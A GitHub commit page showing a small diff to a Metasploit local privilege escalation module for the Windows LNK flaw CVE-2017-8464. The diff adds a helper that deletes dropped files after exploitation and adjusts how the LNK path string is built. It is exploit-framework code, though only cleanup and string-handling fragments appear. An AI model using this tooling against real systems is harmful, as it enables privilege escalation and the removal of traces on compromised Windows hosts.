Skip to content

Commit 7d1de9b

Browse files
committed
Fix removing the dropped files after exploitation
1 parent 70033e2 commit 7d1de9b

File tree

1 file changed

+7
-1
lines changed

1 file changed

+7
-1
lines changed

modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -134,9 +134,15 @@ def exploit
134134
register_files_for_cleanup(dll_path, lnk_path)
135135
end
136136

137+
def file_rm(file)
138+
if file_dropper_delete(session, file) && @dropped_files && file_dropper_deleted?(session, file, true)
139+
@dropped_files.delete(file)
140+
end
141+
end
142+
137143
def generate_link(path)
138144
vprint_status("Generating LNK file to load: #{path}")
139-
path << "\x00"
145+
path += "\x00" # Do not use << here
140146
display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
141147
comment = datastore['LnkComment'].dup << "\x00"
142148

0 commit comments

Comments
 (0)